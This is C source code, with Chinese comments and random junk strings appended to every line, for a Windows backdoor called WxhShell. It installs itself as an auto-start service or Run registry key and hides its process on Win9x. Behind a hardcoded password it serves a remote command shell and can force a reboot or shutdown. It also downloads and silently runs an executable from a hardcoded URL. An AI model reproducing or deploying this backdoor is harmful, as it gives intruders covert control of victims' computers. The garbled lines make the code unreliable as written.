    } >\=3:gb:  
  // 关机 _ff`y  
  case 'd': { nR}sNl1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5l2 ?  
    if(Boot(SHUTDOWN)) IIF] /Ek]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); se>8Z4  
    else { Cdu4U}^H  
    closesocket(wsh); Za3]d+qm  
    ExitThread(0); Zrk4*/ VY  
    } :xv!N*Le  
    break; vK\%%H  
    } Y^7$t^&  
  // 获取shell ]X5 9  
  case 's': { *|>d  
    CmdShell(wsh); dDGgvi|[Mz  
    closesocket(wsh); EwC{R`  
    ExitThread(0); 33ef/MElD$  
    break; 6dN7_v)  
  } T| V:$D'  
  // 退出 UT=tT )4b  
  case 'x': { b8"?VS5-"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LO khjHR  
    CloseIt(wsh); dx &'fe*?  
    break; L>W'LNXCv  
    } n%C>E.Tq  
  // 离开 NS%xTLow-  
  case 'q': { IE&!YP(U(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vp*KfS]  
    closesocket(wsh); F6OpN "UM'  
    WSACleanup(); m)v"3ib  
    exit(1); Q<'nE  
    break; dzsmIV+  
        } v7jq@#-   
  } P&)xz7wG  
  } 1H@>/QC  
+"cq(Y@  
  // 提示信息 (k) l= ]`}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ceM6{N<_U  
} |_*O'#jx  
  }  TYmP)  
%Yicg6:  
  return; CBOi`bEf  
} L,`Lggq-  
;8*`{F[  
// shell模块句柄 q<[_T  
int CmdShell(SOCKET sock) FsV'Cu@!U  
{ WD2]&g  
STARTUPINFO si; pP?MWe Eg  
ZeroMemory(&si,sizeof(si)); cc&axc7I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xg SxN!I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?hM>mL  
PROCESS_INFORMATION ProcessInfo; 28H8l2{[>  
char cmdline[]="cmd"; (?`kYTw7g'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \h DdU+  
  return 0; z4+k7a@jn  
} [16cFqD  
~\.w^*$#Y  
// 自身启动模式 ^3{TZ=_;|  
int StartFromService(void) N#7QzB9]  
{ #PanfYR  
typedef struct lBhLf@  
{ X1Ac*oLN  
  DWORD ExitStatus; oCi=4#g%7  
  DWORD PebBaseAddress; 7_Z#m (  
  DWORD AffinityMask; F\AX :  
  DWORD BasePriority; 04'~ta(t  
  ULONG UniqueProcessId; 'wI"Bo6e  
  ULONG InheritedFromUniqueProcessId; ll6wpV0m  
}   PROCESS_BASIC_INFORMATION; B}:(za&  
]2'na?q9  
PROCNTQSIP NtQueryInformationProcess; HATA-M  
gb> }v7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fX.>9H[w@~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4%}*&nsI-Z  
HA`@7I  
  HANDLE             hProcess; {Jx4xpvPo  
  PROCESS_BASIC_INFORMATION pbi; gu<'QV"  
("+}=*?OF3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kc @[9eV  
  if(NULL == hInst ) return 0; zG9Y!SY\-  
!n$tr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y$Y_fjd_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0 79'(%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;SaX;!`39+  
a{J,~2>  
  if (!NtQueryInformationProcess) return 0; Eam  
}_;!hdY q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g'=B%eO$j:  
  if(!hProcess) return 0; . I'o  
2 fS[J'-o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  eDJ fU  
~aOuG5 XK  
  CloseHandle(hProcess); '+vA\(K  
w@ c87;c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |- rI@2`  
if(hProcess==NULL) return 0; ,^WJm?R  
P=&o%K,:f  
HMODULE hMod; <Ib[82PU  
char procName[255]; ?(m jx  
unsigned long cbNeeded; vR=6pl$|~~  
J9Ou+6u(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9,_mS{+B  
] GTAq  
  CloseHandle(hProcess); ~L_hZso4  
;3@YZM'wt  
if(strstr(procName,"services")) return 1; // 以服务启动 CQr<N w  
$w0lrh[+  
  return 0; // 注册表启动 oY|,GvCnK  
} nJ"YIT1K]p  
]%Nlv(  
// 主模块 H_Kj7(=&>  
int StartWxhshell(LPSTR lpCmdLine) ?wF'<kEH  
{ hL;8pE8  
  SOCKET wsl; !F4@KAv  
BOOL val=TRUE; 6"t;gSt 4  
  int port=0; L%$|^T=%  
  struct sockaddr_in door; E+tB&  
N, *m ,  
  if(wscfg.ws_autoins) Install(); <b?!jV7  
a9Z%JS]  
port=atoi(lpCmdLine); B Ma)O  
7kK #\dI  
if(port<=0) port=wscfg.ws_port; ~+bGN  
+:-57  
  WSADATA data; ^1x*lLf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; npyAJp  
nG, U>)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Clh] ;K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XfE -fH1j  
  door.sin_family = AF_INET; `#QG6/0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  6XJ[h  
  door.sin_port = htons(port); }^*F59>H  
^o@,3__7Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y<b-9ai<w  
closesocket(wsl); [kzd(u  
return 1; kWb2F7m  
} ;v~-'*0  
(N K9vW4F  
  if(listen(wsl,2) == INVALID_SOCKET) { t"lyvI[  
closesocket(wsl); p,<&zHb>K  
return 1; `)h6j)xiQ  
} J~iBB~x.  
  Wxhshell(wsl); p!V>XY'N^  
  WSACleanup(); M9f?q.Bv  
!k(_PM  
return 0; {(#%N5%  
Hb(B?!M)  
} ~i_Tw#}  
(j"(  
// 以NT服务方式启动 Rek -`ki5F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "ZHtR/;  
{ *tX{MSYW  
DWORD   status = 0; 9Sq%s&  
  DWORD   specificError = 0xfffffff; 5P h X"7  
<U9/InN0[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EQIo5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -/dEsgO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C4#rA.nF|  
  serviceStatus.dwWin32ExitCode     = 0;  oM1 6C|  
  serviceStatus.dwServiceSpecificExitCode = 0; (zYy }g#n  
  serviceStatus.dwCheckPoint       = 0; ]:$ O{y  
  serviceStatus.dwWaitHint       = 0; L~/qGDXC?  
qxMnp}O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !epgTN  
  if (hServiceStatusHandle==0) return; HXVBb%pP  
L]hXp t  
status = GetLastError(); W*:,m8wk  
  if (status!=NO_ERROR) }o,z!_^PLQ  
{ +P`(Rf"luu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \#x}q'BC4  
    serviceStatus.dwCheckPoint       = 0; V*$L;xbC|  
    serviceStatus.dwWaitHint       = 0; !b-bP,q  
    serviceStatus.dwWin32ExitCode     = status; F'?I-jtI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;C/bJEgdd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~U=C9[gj  
    return; uH^ PQ  
  } Hv<'dt$|  
5;TuVU.8Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x2#qg>`l  
  serviceStatus.dwCheckPoint       = 0; s& {Qdf  
  serviceStatus.dwWaitHint       = 0; Lj %{y.Rj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q 'a  
} "?GebA  
ZDYJhJ.  
// 处理NT服务事件,比如:启动、停止 '7B"(dA&C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RQvVR  
{ &?p:3%;Dr  
switch(fdwControl) 6Bm9?eU0  
{ 6`"M  
case SERVICE_CONTROL_STOP: SnTDLa  
  serviceStatus.dwWin32ExitCode = 0; ])#\_' fg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W;Jx<-#1  
  serviceStatus.dwCheckPoint   = 0; `wTlyS3[  
  serviceStatus.dwWaitHint     = 0; & Rz, J]  
  { I#FF*@oeM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hvt@XZT  
  } m>e3vu  
  return; dYojm1MQ  
case SERVICE_CONTROL_PAUSE: ;}.Kb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D~&Mwsi  
  break; iY/KSX^~O  
case SERVICE_CONTROL_CONTINUE: o8FXqTUcs4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q cA`)j  
  break; qturd7  
case SERVICE_CONTROL_INTERROGATE: Y ZaP  
  break; 7/X"z=Q^|  
}; Zq ot{s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N\1/JW+  
} I]J*BD#n.  
/=#~  
// 标准应用程序主函数 !m{2WW-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^!;=6}YR  
{ bYh9sO/l  
zyN (4  
// 获取操作系统版本 EZ(^~k=I  
OsIsNt=GetOsVer(); }Ewo_P&`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SLk2X;c]o  
)3z]f2  
  // 从命令行安装 dyFKxn`,  
  if(strpbrk(lpCmdLine,"iI")) Install(); qG >DTKIU  
I8op>^N"  
  // 下载执行文件 C@HD(..#  
if(wscfg.ws_downexe) { c 8QnN:n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Ubj6 t_K  
  WinExec(wscfg.ws_filenam,SW_HIDE); '3kcD7  
} MdhT!?  
R/<=mZ  
if(!OsIsNt) { $)e:8jS=  
// 如果时win9x,隐藏进程并且设置为注册表启动  td(M#a-  
HideProc(); 2neRJ  
StartWxhshell(lpCmdLine); Inuc(_I  
} Ha ZFxh-(  
else bEr.nF  
  if(StartFromService()) %f[Ep 3D  
  // 以服务方式启动 D?+ RJs  
  StartServiceCtrlDispatcher(DispatchTable); >4![&&  
else >3 Ko.3&  
  // 普通方式启动 e.6Dl_  
  StartWxhshell(lpCmdLine); `h;}3r#R{  
n2;9geq+  
return 0; 6;uBZ &g  
} 5FuK\y  
?'~;Q)  
1]/N2&  
,p,Du F  
=========================================== U=o Z.\  
a0zG(7.D  
NR/-m7#-  
|Odu4 Q  
.Y/-8H-3v  
m(3);)d  
" 4IGxI7~27#  
~! Lw1]&  
#include <stdio.h> .w FU:y4r  
#include <string.h> z(d4)z 8'6  
#include <windows.h> lfMH1llx  
#include <winsock2.h> K M]Wl_z  
#include <winsvc.h> L^KdMMz;  
#include <urlmon.h> $k(9 U\y-  
( ji_o^  
#pragma comment (lib, "Ws2_32.lib") !5;t#4=  
#pragma comment (lib, "urlmon.lib") I>m;G `  
PbUI!Xqe`  
#define MAX_USER   100 // 最大客户端连接数 p6blD-v  
#define BUF_SOCK   200 // sock buffer !=M/j}  
#define KEY_BUFF   255 // 输入 buffer 6bL"LM`s  
lgG8!Ja  
#define REBOOT     0   // 重启 .D@/y uV  
#define SHUTDOWN   1   // 关机 !yCl(XT  
6IF|3@yD  
#define DEF_PORT   5000 // 监听端口 > I%zd/q?  
UIw?;:Y  
#define REG_LEN     16   // 注册表键长度 s 4IKSX  
#define SVC_LEN     80   // NT服务名长度 f sX;Nj]  
0e9A+&r  
// 从dll定义API w:tGPort  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DM/hcY$MW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y<ElJ>A2I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $PfV<Yj'B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >DmRP7v   
/2:Q6J  
// wxhshell配置信息 cJq<9(  
struct WSCFG { bf^ly6ml  
  int ws_port;         // 监听端口 er\:U0fr#@  
  char ws_passstr[REG_LEN]; // 口令 =w,(M  
  int ws_autoins;       // 安装标记, 1=yes 0=no (j`l5r#X#/  
  char ws_regname[REG_LEN]; // 注册表键名 ArdJ."  
  char ws_svcname[REG_LEN]; // 服务名 8c?8X=|D7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Alh?0Fk3)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v j@V !j?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sRil>6QR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y%g`FC   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;G$)MS'nB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9l=Fv6  
}moz9a  
}; &@oq~j_7  
:,=Fx</H  
// default Wxhshell configuration '!j(u@&!  
struct WSCFG wscfg={DEF_PORT, >?Qxpqf2  
    "xuhuanlingzhe", +wjlAqMQ  
    1, ]J~g'">  
    "Wxhshell", 0eaUorm)  
    "Wxhshell", B#H2RTc  
            "WxhShell Service", i-Ljff  
    "Wrsky Windows CmdShell Service", I9s$bRbT  
    "Please Input Your Password: ", Q~CpP9%  
  1, 8ok7|DJ  
  "http://www.wrsky.com/wxhshell.exe", z5I^0'  
  "Wxhshell.exe" Lj-{t% }  
    }; $ACe\R/%  
S&`O\!NF  
// 消息定义模块 -&~IOqlui  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I]UA0[8X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mc56L[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0<"tl0p_  
char *msg_ws_ext="\n\rExit."; :=B[y D!  
char *msg_ws_end="\n\rQuit."; nR#a)et  
char *msg_ws_boot="\n\rReboot..."; a#6,#Q"  
char *msg_ws_poff="\n\rShutdown..."; A9.;>8!u  
char *msg_ws_down="\n\rSave to "; 92NC]_jw  
-q|*M:R  
char *msg_ws_err="\n\rErr!"; | )S{(#k  
char *msg_ws_ok="\n\rOK!"; |<7i|J  
>T$7{ ~  
char ExeFile[MAX_PATH]; 3# :EK M~!  
int nUser = 0; A<1l^%i  
HANDLE handles[MAX_USER]; FL~9</  
int OsIsNt; !}C4{Bgt*  
_fe0,  
SERVICE_STATUS       serviceStatus; CYMM*4#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I[a%a!QO  
[j1^$n 8V  
// 函数声明 mKMGdN~  
int Install(void); |4LQ\'N&  
int Uninstall(void); jBGG2[hV  
int DownloadFile(char *sURL, SOCKET wsh); lP-kZA!  
int Boot(int flag); jm~mhAE#  
void HideProc(void); %j!z\pa  
int GetOsVer(void); cKSfqqPm$"  
int Wxhshell(SOCKET wsl); L_`Xbky  
void TalkWithClient(void *cs); 5!2J;.&  
int CmdShell(SOCKET sock); |' !7F9GP  
int StartFromService(void); [_h.1oZp~  
int StartWxhshell(LPSTR lpCmdLine); FK?mS>G6  
R0z?)uU#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CrT2#h 1#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'G3+2hah  
KX$qM g1j  
// 数据结构和表定义 j `w;z: G  
SERVICE_TABLE_ENTRY DispatchTable[] = vC s6#PR$  
{ p}cd}@cQ6  
{wscfg.ws_svcname, NTServiceMain}, kz3?j<  
{NULL, NULL} s-Q7uohK  
}; cG<Q`(5~  
/,-h%gj  
// 自我安装 knI*-  
int Install(void) @DUN;L 4  
{ 2"B}}  
  char svExeFile[MAX_PATH]; LJ:mJ#  
  HKEY key; 7v.#o4nPK  
  strcpy(svExeFile,ExeFile); D6"~fjHh  
[+Yl;3 &]  
// 如果是win9x系统,修改注册表设为自启动 (bM)Nd  
if(!OsIsNt) { IH*U!_ `  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y_;]=hEL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m7weR>aS4  
  RegCloseKey(key); A)~ /~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0#2T0zk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m[//_TFf]  
  RegCloseKey(key); JsHxQ0Tw  
  return 0; %D`^  
    } ktkn2Twa/  
  } \fkS_r,i  
} :9v*,*@x  
else { )ylv(qgV  
r|u6OF>  
// 如果是NT以上系统,安装为系统服务 f]{1ZU%4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /7!_un9  
if (schSCManager!=0) >;T$#LZ  
{ "P>$=X~Zi  
  SC_HANDLE schService = CreateService ym-lT|>Z  
  (  3J'Bm"  
  schSCManager, ,k`YDy|#e  
  wscfg.ws_svcname, m? ]zomP  
  wscfg.ws_svcdisp, Ncs4<"{$  
  SERVICE_ALL_ACCESS, ?HEo9/ *7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '2Mjz6mBDA  
  SERVICE_AUTO_START, #3 }5cC8_  
  SERVICE_ERROR_NORMAL, ir( -$*J  
  svExeFile, S&;T_^|  
  NULL, {Zd)U "  
  NULL, ui0J}DM  
  NULL, z&6]vN'  
  NULL, %Q>~7P  
  NULL Q>06dO~z8  
  ); JI{OGr  
  if (schService!=0) 1"~O"msb  
  { KqG/a  
  CloseServiceHandle(schService); J7 Oa})-+'  
  CloseServiceHandle(schSCManager); %M4XbSN|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (mOqv9pn  
  strcat(svExeFile,wscfg.ws_svcname); e|OG-t[$*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fwar8 i1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oX=*MEfX  
  RegCloseKey(key); v#T?YK  
  return 0; c1Fru  
    } )l 4>=y  
  } w[J (E  
  CloseServiceHandle(schSCManager); p4<M|1Z&  
} n9mM5H47  
} ImT+8p a  
rTm>8et  
return 1; 0k. #  
} 7>c 0V&  
tq4"Q BIKh  
// 自我卸载 w<8O=  
int Uninstall(void) -E,{r[Sp  
{ 0& SrKn  
  HKEY key; 6cgpg+-a  
)\:lYI}Wpm  
if(!OsIsNt) { *cI6 &;y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  !z "a_  
  RegDeleteValue(key,wscfg.ws_regname); m;$F@JJ  
  RegCloseKey(key); k=d%.kg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6@ (k8<3  
  RegDeleteValue(key,wscfg.ws_regname); hhh: rmEZl  
  RegCloseKey(key); af`f*{Co3  
  return 0; 0qotC6l~_w  
  } _ z"ci$[  
}  5K_N  
} sEgeS9a{  
else { Fh3Dc 83~  
f6aT[Nw<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 56j/w[&8  
if (schSCManager!=0) OJC*|kN-#^  
{ E-7a`S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D,m&^P=%e  
  if (schService!=0) X<@y*?D9D  
  { cr=FMfhB  
  if(DeleteService(schService)!=0) { O. .@<.  
  CloseServiceHandle(schService); ~[ ks|  
  CloseServiceHandle(schSCManager); Cs~\FI1wR  
  return 0; L2V $%*6  
  } aLyhxmn ^)  
  CloseServiceHandle(schService); d q+7K  
  } S:B- nI  
  CloseServiceHandle(schSCManager); ngH~4HyT  
} c?3F9 w#  
} ck4T#g;=  
9DP75 ti  
return 1; wYS KtG~/S  
} "YdDaj</  
>sl1 cC  
// 从指定url下载文件 =+sIX3  
int DownloadFile(char *sURL, SOCKET wsh) 5k7(!  
{   xhVq  
  HRESULT hr; JQvQm|\nc  
char seps[]= "/"; NXG}0`QVT  
char *token; l2KxZteXY0  
char *file; Al-%j- j@-  
char myURL[MAX_PATH]; *{p& Fy55  
char myFILE[MAX_PATH]; 'zD;:wT  
w|UKMbRMU]  
strcpy(myURL,sURL); 3<.j`JB@&  
  token=strtok(myURL,seps); i+ &lMgh  
  while(token!=NULL) RWm Q]  
  { @gVyLefS6g  
    file=token; 7`'fUhB!  
  token=strtok(NULL,seps); ]mLTF',5  
  } ePcI^}{  
H* JC`:  
GetCurrentDirectory(MAX_PATH,myFILE); X7B)jH%N  
strcat(myFILE, "\\");  pmpn^ZR  
strcat(myFILE, file); 1 069]  
  send(wsh,myFILE,strlen(myFILE),0); 4Xb}I;rM  
send(wsh,"...",3,0); i6\!7D]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); odT7Gq  
  if(hr==S_OK) />j+7ts  
return 0; BNKo6:wy  
else fKK-c9F   
return 1; i!+3uHWu`)  
" ih>T^|  
} !6 fpMo  
=D"63fP1  
// 系统电源模块 $8yGY  
int Boot(int flag) CR|&VxA  
{ kjKpzdbD  
  HANDLE hToken; JgjL$n;F  
  TOKEN_PRIVILEGES tkp; dmMr8-w  
# *aGzF  
  if(OsIsNt) { tH|Q4C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A ** M"T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QT&Ws+@ s{  
    tkp.PrivilegeCount = 1; ah$7 Oudj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1#X= &N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :@807OYzy  
if(flag==REBOOT) { kG7,1teMk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZK_@.O+]  
  return 0; ~esEql=Q3'  
} +AC-f2  
else { 'jlXLb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a>jI_)L  
  return 0; Ch&]<#E>`  
} XTXo xZ#w  
  } 3ij I2Zy  
  else { NCpn^m)Q}  
if(flag==REBOOT) { 4a50w:Jy]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YH+\rb_  
  return 0; gm\o>YclS  
} X\)KVn`  
else { Y>!W&Gtu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Am`A[rV0  
  return 0; >]08".ajS  
} r^tXr[}  
} = (h;L$  
VKJ~ZIO@A  
return 1; F^bQ-  
} xgw)`>p,W  
Bst>9V&R  
// win9x进程隐藏模块 7a_n\]t465  
void HideProc(void) d"`>&8*  
{ +6Fdi*:  
&)}:Y!qiu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >xMhA`l  
  if ( hKernel != NULL ) t }C ^E  
  { zZ0V6T}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cspm\F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -oT+;2\2  
    FreeLibrary(hKernel); iwx0V  
  } F,2#;t4  
4O"kOEkKT>  
return; >{) #|pWU  
} _N#3lU?  
8GRr f2  
// 获取操作系统版本 !*. nR(>d  
int GetOsVer(void) 0aoHv  
{ fU7:3"|s8  
  OSVERSIONINFO winfo; wgP3&4cSUc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6i=wAkn_J  
  GetVersionEx(&winfo); pXEVI6 }  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ={vtfgxl  
  return 1; &UH z  
  else s31_3?Vdf,  
  return 0; 4z DAfi#0  
} ;m:GUp^[  
8VGXw;(Y,d  
// 客户端句柄模块 (mr` ?LI}  
int Wxhshell(SOCKET wsl) @[Qg}'i  
{ m)2hl~o_  
  SOCKET wsh; \@" . GM%  
  struct sockaddr_in client; XFAt\g  
  DWORD myID; BjJ gQ`X  
j?)`VLZ  
  while(nUser<MAX_USER) 4J|t}  
{ KKJ[  
  int nSize=sizeof(client); w[[@&T\`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fx"+ZR  
  if(wsh==INVALID_SOCKET) return 1; #IA(*oM  
RWcQT`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g' U^fN  
if(handles[nUser]==0) ;//q jo  
  closesocket(wsh); 8=AKOOU7>  
else : 2d9ZDyD  
  nUser++; 5F?g6?j{  
  } 9f[[%80  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hRcJ):Wyb  
A'R sy6  
  return 0; #e|kA&+8M  
} A0sW 9P6F  
B y8Tw;aL  
// 关闭 socket FLOJ  
void CloseIt(SOCKET wsh) F=c_PQO  
{ u;1NhD<n  
closesocket(wsh); R6.#gb8^oS  
nUser--; +34jot.!  
ExitThread(0); )BrqE uX@"  
} Gnq~1p5^  
2b` M(QL  
// 客户端请求句柄   `.-C6!  
void TalkWithClient(void *cs) 5-po>1g'  
{ y_r6T XnGL  
X*) :N]  
  SOCKET wsh=(SOCKET)cs; }#^F'%zf  
  char pwd[SVC_LEN]; {XW>:EU'N  
  char cmd[KEY_BUFF]; )fr\ V."  
char chr[1]; +JVfnTd  
int i,j; WF0>R^SpZ  
W5g!`f  
  while (nUser < MAX_USER) { +:Zi(SuS]  
e@VRdhb  
if(wscfg.ws_passstr) { ^/,yZ:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mmK_xu~f28  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U<gw<[>f  
  //ZeroMemory(pwd,KEY_BUFF); Ro$XbU)  
      i=0; ~`f B\7M  
  while(i<SVC_LEN) { }PuO$ L  
:AGQkJb  
  // 设置超时 Im#$iPIvT  
  fd_set FdRead; 4 l(o{{  
  struct timeval TimeOut; *r3vTgo$  
  FD_ZERO(&FdRead); }H.vH  
  FD_SET(wsh,&FdRead); cv1L!Ce,  
  TimeOut.tv_sec=8; go5!zSs  
  TimeOut.tv_usec=0; 7NEn+OI4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AV! cCQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,"ZlY}!Gn  
w!M ^p&T7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4(IP  
  pwd=chr[0]; C"WZsF^3  
  if(chr[0]==0xd || chr[0]==0xa) { Rgu^> ~   
  pwd=0; N`MQHQ1  
  break; [i_x 1  
  } gC-0je  
  i++; xn[di-L F  
    } Xs_y!l  
&[pw LYf7  
  // 如果是非法用户,关闭 socket N*W.V,6yH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #1k,t  
} oc Uu  
u6RHn;b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H_]kR&F8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | w -W=v  
,Fiiw  
while(1) { M?lr#} d  
B\yid@e  
  ZeroMemory(cmd,KEY_BUFF); mD3#$E!A1  
[8#l~ |U  
      // 自动支持客户端 telnet标准   Qg=~n:j  
  j=0; h08T Q=n  
  while(j<KEY_BUFF) { WH*&MIjAr/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Rq"xYGXh  
  cmd[j]=chr[0]; Z0KA4O$eL  
  if(chr[0]==0xa || chr[0]==0xd) { k9]n/  
  cmd[j]=0; /.bwwj_;  
  break; J$[Vm%56  
  } Sa5y7   
  j++; cB^lSmu5  
    } !hUyX}{`j  
<KX#;v!I  
  // 下载文件 g^FH[(P[G  
  if(strstr(cmd,"http://")) { 2t<CAKBB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )1le-SC  
  if(DownloadFile(cmd,wsh)) j*}xe'#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pip if.  
  else <LY+" Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /FY_LM  
